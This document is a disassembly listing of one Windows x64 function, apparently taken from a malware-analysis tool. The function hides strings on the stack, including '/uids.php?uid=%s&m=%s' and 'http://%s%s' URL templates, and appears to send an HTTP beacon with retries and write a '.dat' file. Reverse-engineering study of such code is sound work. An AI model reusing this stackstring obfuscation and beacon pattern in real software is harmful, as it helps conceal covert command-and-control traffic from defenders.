Function at 0x1400443f4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x1400e3020]
xor rax, rsp
mov qword [rbp + 0x320], rax
mov r13, r9
mov r12, r8
mov r15b, dl
mov rsi, rcx
mov qword [rbp - 0x78], rcx
mov rax, qword [rbp + 0x390]
mov qword [rbp - 0x80], rax
mov rax, qword [rbp + 0x398]
mov qword [rsp + 0x78], rax
xor ebx, ebx
mov qword [rbp - 0x10], rbx
mov qword [rbp], rbx
lea r14d, [rbx + 0xf]
mov qword [rbp + 8], r14
mov byte [rbp - 0x10], bl
mov qword [rbp + 0x70], rbx
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x88], r14
mov byte [rbp + 0x70], bl
mov r8, rcx
lea edi, [rbx + 0x10]
test dl, dl
je 0x1400444e1
mov dword [rbp + 0xbb], 0x253d6469
mov word [rbp + 0xb6], 0x6870
mov dword [rbp + 0xb2], 0x2e736469
mov dword [rbp + 0xc0], 0x253d6d26
mov word [rbp + 0xb9], 0x753f
mov byte [rbp + 0xb8], 0x70
mov word [rbp + 0xb0], 0x752f
mov word [rbp + 0xc4], 0x73
mov byte [rbp + 0xbf], 0x73
cmp qword [rcx + 0x18], rdi
jb 0x1400444d8
mov r8, qword [rcx]
lea rdx, [rbp + 0xb0]
jmp 0x140044534
mov dword [rbp + 0xbe], 0x73253d
mov dword [rbp + 0xb6], 0x3d693f70
mov word [rbp + 0xbb], 0x2673
mov dword [rbp + 0xb1], 0x702e6969
mov byte [rbp + 0xbd], 0x70
mov byte [rbp + 0xb5], 0x68
mov byte [rbp + 0xba], 0x25
mov byte [rbp + 0xb0], 0x2f
cmp qword [rcx + 0x18], rdi
jb 0x14004452d
mov r8, qword [rcx]
lea rdx, [rbp + 0xb0]
lea r9, str.4e681bb37763469189a80ab579b8ae72
lea rcx, [rbp + 0x70]
call fcn.1400044a8
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xa8], r14
mov byte [rbp + 0x90], bl
mov dword [rbp + 0xf9], 0x732573
mov dword [rbp + 0xf0], 0x70747468
mov dword [rbp + 0xf5], 0x252f2f3a
mov byte [rbp + 0xf4], 0x73
mov dl, r15b
lea rcx, [rbp - 0x70]
call fcn.1400022a4
nop
lea r9, [rbp + 0x70]
cmp qword [rbp + 0x88], rdi
cmovae r9, qword [rbp + 0x70]
cmp qword [rax + 0x18], rdi
jb 0x1400445aa
mov rax, qword [rax]
mov r8, rax
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x90]
call fcn.1400044a8
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, rdi
jb 0x1400445fb
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400445f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140045103
call fcn.140006b0c
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x210]
call fcn.140009450
lea rcx, [rbp + 0x210]
call fcn.1400464f8
mov r14d, ebx
cmp r14d, 3
jne 0x1400446cf
lea rcx, [rbp + 0x90]
test r15b, r15b
je 0x140044689
mov dword [rbp + 0xe5], 0x706870
mov word [rbp + 0xe3], 0x2e73
mov word [rbp + 0xe0], 0x6975
mov byte [rbp + 0xe2], 0x64
mov word [rbp + 0xcb], 0x6870
mov word [rbp + 0xc8], 0x6475
mov word [rbp + 0xcd], 0x70
mov byte [rbp + 0xca], 0x2e
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0xe0]
jmp 0x1400446ca
mov word [rbp + 0xdd], 0x70
mov dword [rbp + 0xd8], 0x702e6969
mov byte [rbp + 0xdc], 0x68
mov dword [rbp + 0xd2], 0x7068702e
mov word [rbp + 0xd0], 0x7575
mov byte [rbp + 0xd6], bl
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0xd8]
call fcn.140003158
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], rbx
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x50]
call fcn.140001e14
nop
mov word [rbp + 0xb4], 0x3d65
mov word [rbp + 0xb1], 0x6974
mov byte [rbp + 0xb0], 0x26
mov word [rbp + 0xb6], 0x6425
mov byte [rbp + 0xb8], bl
mov byte [rbp + 0xb3], 0x6d
call fcn.1400533cc
mov r8d, eax
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x50]
call fcn.1400037f0
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], rdi
cmovae rdx, qword [rbp + 0x50]
lea r8, [rbp - 0x10]
call fcn.14004bda0
mov bl, al
xor eax, eax
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], al
mov r8d, eax
test bl, bl
setne r8b
lea rdx, str.itcgtr__d
lea rcx, [rbp + 0x10]
call fcn.1400044a8
lea rax, [rbp - 0x30]
mov qword [rsp + 0x70], rax
xor eax, eax
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x30]
call fcn.140001e14
nop
xor eax, eax
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rax
mov rdx, rsi
lea rcx, [rbp + 0x30]
call fcn.140001e14
nop
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x30]
call fcn.14004aa80
xor eax, eax
test bl, bl
je 0x140044910
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], al
mov word [rsp + 0x45], 0x73
mov byte [rsp + 0x44], 0x25
lea r8, [rbp - 0x10]
cmp qword [rbp + 8], rdi
cmovae r8, qword [rbp - 0x10]
lea rdx, [rsp + 0x44]
lea rcx, [rbp + 0x30]
call fcn.1400044a8
lea rcx, [rbp + 0x30]
call fcn.140002eb8
mov ebx, dword [rax + 0x10]
xor eax, eax
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], al
mov r8d, ebx
lea rdx, str.itcntl__d
lea rcx, [rbp - 0x30]
call fcn.1400044a8
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.140001e14
nop
xor eax, eax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rax
mov rdx, rsi
lea rcx, [rbp - 0x70]
call fcn.140001e14
nop
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.14004aa80
nop
mov rdx, qword [rbp - 0x18]
cmp ebx, 0x6c
je 0x1400449a4
cmp rdx, rdi
jb 0x1400448d6
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400448d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140045109
call fcn.140006b0c
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, rdi
jb 0x140044910
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004490b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004510f
call fcn.140006b0c
mov ecx, 0x12c
call fcn.140051390
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, rdi
jb 0x140044956
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044950
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140045133
call fcn.140006b0c
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, rdi
jb 0x140044990
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004498b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140045139
call fcn.140006b0c
inc r14d
cmp r14d, 6
jge 0x140044ddb
xor ebx, ebx
jmp 0x14004461e
mov r15d, 0x1000
cmp rdx, rdi
jb 0x1400449dd
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x1400449d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140045109
call fcn.140006b0c
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, rdi
jb 0x140044a13
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x140044a0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004510f
call fcn.140006b0c
xor r14d, r14d
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], r14b
mov rdx, qword [rbp + 0x28]
cmp rdx, rdi
jb 0x140044a5d
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, r15
jb 0x140044a57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140045115
call fcn.140006b0c
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, rdi
jb 0x140044a93
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, r15
jb 0x140044a8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004511b
call fcn.140006b0c
mov dword [rbp + 0xb8], 0x4f53535c
mov word [rbp + 0xb6], 0x6572
mov dword [rbp + 0xb1], 0x7774666f
mov byte [rbp + 0xbc], r14b
mov byte [rbp + 0xb5], 0x61
mov byte [rbp + 0xb0], 0x53
lea rcx, [rbp + 0x50]
call fcn.140045530
nop
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x70], rax
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], rdi
cmovae rdx, qword [rbp - 0x10]
lea rcx, [rsp + 0x50]
call fcn.140003ccc
mov rbx, rax
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.140001e14
nop
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x10]
call fcn.140003ccc
nop
mov r9, rbx
lea r8, [rbp - 0x70]
mov rdx, rax
call fcn.14004a42c
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x100]
call fcn.140009450
lea rdx, [rbp + 0x100]
call fcn.1400517ac
lea rcx, [rbp + 0x100]
call fcn.140053154
mov dword [rbp + 0xc9], 0x746164
mov byte [rbp + 0xc8], 0x2e
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x30]
call fcn.140004fd8
nop
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], rdi
cmovae rdx, qword [rbp - 0x30]
lea rcx, [rbp + 0x100]
call fcn.140051578
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
lea rcx, [rbp + 0x100]
call fcn.140053200
mov rbx, rax
mov dword [rsp + 0x44], r14d
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], rdi
cmovae rdx, qword [rbp - 0x10]
lea r9, [rsp + 0x44]
mov r8d, dword [rbp]
mov rcx, rax
call fcn.140053444
mov rcx, rbx
call fcn.140050f4c
mov byte [rsp + 0x40], r14b
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
mov rdx, rsi
lea rcx, [rbp - 0x70]
call fcn.140001e14
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x80]
mov r8, r13
mov rdx, r12
lea rcx, [rbp - 0x70]
call fcn.140045158
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x20], r14
mov r13d, 0xf
mov qword [rbp + 0x28], r13
mov byte [rbp + 0x10], r14b
mov r8d, r14d
cmp byte [rsp + 0x40], r14b
setne r8b
lea rdx, str.itfnsnc__d
lea rcx, [rbp + 0x10]
call fcn.1400044a8
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x70]
call fcn.140001e14
nop
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.140001e14
nop
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.14004aa80
mov r8d, r14d
cmp byte [r12], r14b
setne r8b
lea rdx, str.itncsnc__d
lea rcx, [rbp + 0x10]
call fcn.1400044a8
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x70]
call fcn.140001e14
nop
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.140001e14
nop
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.14004aa80
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, rdi
jb 0x140044d55
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, r15
jb 0x140044d4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140045121
call fcn.140006b0c
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, rdi
jb 0x140044d8b
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, r15
jb 0x140044d86
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140045127
call fcn.140006b0c
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], r13
mov byte [rbp - 0x30], r14b
mov r8d, 1
mov rdx, qword [rbp + 0x68]
cmp rdx, rdi
jb 0x140044de5
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, r15
jb 0x140044dce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004512d
call fcn.140006b0c
mov r8d, 1
jmp 0x140044de5
xor r14d, r14d
mov r8d, r14d
lea r13d, [r14 + 0xf]
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r13
mov byte [rbp - 0x50], r14b
lea rdx, str.itglsnc__d
lea rcx, [rbp - 0x50]
call fcn.1400044a8
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x70]
call fcn.140001e14
nop
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.140001e14
nop
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.14004aa80
lea r9, [rbp - 0x10]
cmp qword [rbp + 8], rdi
cmovae r9, qword [rbp - 0x10]
mov r8, qword [rbp]
lea rdx, str.itssnc__d__s
lea rcx, [rbp - 0x50]
call fcn.1400044a8
lea rax, [rbp - 0x50]
mov r8, qword [rbp - 0x50]
mov r9, qword [rbp - 0x38]
cmp r9, rdi
cmovae rax, r8
lea rdx, [rbp - 0x50]
cmp r9, rdi
cmovae rdx, r8
add rdx, qword [rbp - 0x40]
cmp rax, rdx
je 0x140044eb0
cmp byte [rax], 0x2b
jne 0x140044eab
mov byte [rax], 0x2d
mov r9, qword [rbp - 0x38]
mov r8, qword [rbp - 0x50]
inc rax
jmp 0x140044e87
lea rax, [rbp - 0x50]
cmp r9, rdi
cmovae rax, r8
lea rdx, [rbp - 0x50]
cmp r9, rdi
cmovae rdx, r8
add rdx, qword [rbp - 0x40]
cmp rax, rdx
je 0x140044ee4
cmp byte [rax], 0x2f
jne 0x140044edf
mov byte [rax], 0x5f
mov r9, qword [rbp - 0x38]
mov r8, qword [rbp - 0x50]
inc rax
jmp 0x140044ebb
lea rax, [rbp - 0x50]
cmp r9, rdi
cmovae rax, r8
lea rdx, [rbp - 0x50]
cmp r9, rdi
cmovae rdx, r8
add rdx, qword [rbp - 0x40]
cmp rax, rdx
je 0x140044f18
cmp byte [rax], 0x3d
jne 0x140044f13
mov byte [rax], 0x20
mov r9, qword [rbp - 0x38]
mov r8, qword [rbp - 0x50]
inc rax
jmp 0x140044eef
lea rcx, [rbp - 0x50]
call fcn.140002eb8
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x70]
call fcn.140001e14
nop
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.140001e14
nop
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.14004aa80
nop
mov rdx, qword [rbp - 0x38]
mov ebx, 0x1000
cmp rdx, rdi
jb 0x140044fab
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, rbx
jb 0x140044fa6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004513f
call fcn.140006b0c
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r13
mov byte [rbp - 0x50], r14b
mov rdx, qword [rbp + 0xa8]
cmp rdx, rdi
jb 0x140044ff3
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, rbx
jb 0x140044fee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140045145
call fcn.140006b0c
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], r13
mov byte [rbp + 0x90], r14b
mov rdx, qword [rbp + 0x88]
cmp rdx, rdi
jb 0x140045041
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, rbx
jb 0x14004503c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004514b
call fcn.140006b0c
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], r13
mov byte [rbp + 0x70], r14b
mov rdx, qword [rbp + 8]
cmp rdx, rdi
jb 0x140045085
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, rbx
jb 0x140045080
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400450f7
call fcn.140006b0c
mov qword [rbp], r14
mov qword [rbp + 8], r13
mov byte [rbp - 0x10], r14b
mov rdx, qword [rsi + 0x18]
cmp rdx, rdi
jb 0x1400450c2
inc rdx
mov rcx, qword [rsi]
cmp rdx, rbx
jb 0x1400450bd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400450fd
mov rcx, r8
call fcn.140006b0c
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], r13
mov byte [rsi], r14b
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.140006850
mov rbx, qword [rsp + 0x478]
add rsp, 0x430
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14000d1ec
nop
call fcn.14000d1ec
nop
call fcn.14000d1ec
nop
call fcn.14000d1ec
nop
call fcn.14000d1ec
nop
call fcn.14000d1ec
nop
call fcn.14000d1ec
nop
call fcn.14000d1ec
nop
call fcn.14000d1ec
nop
call fcn.14000d1ec
nop
call fcn.14000d1ec
nop
call fcn.14000d1ec
int3
call fcn.14000d1ec
nop
call fcn.14000d1ec
nop
call fcn.14000d1ec
int3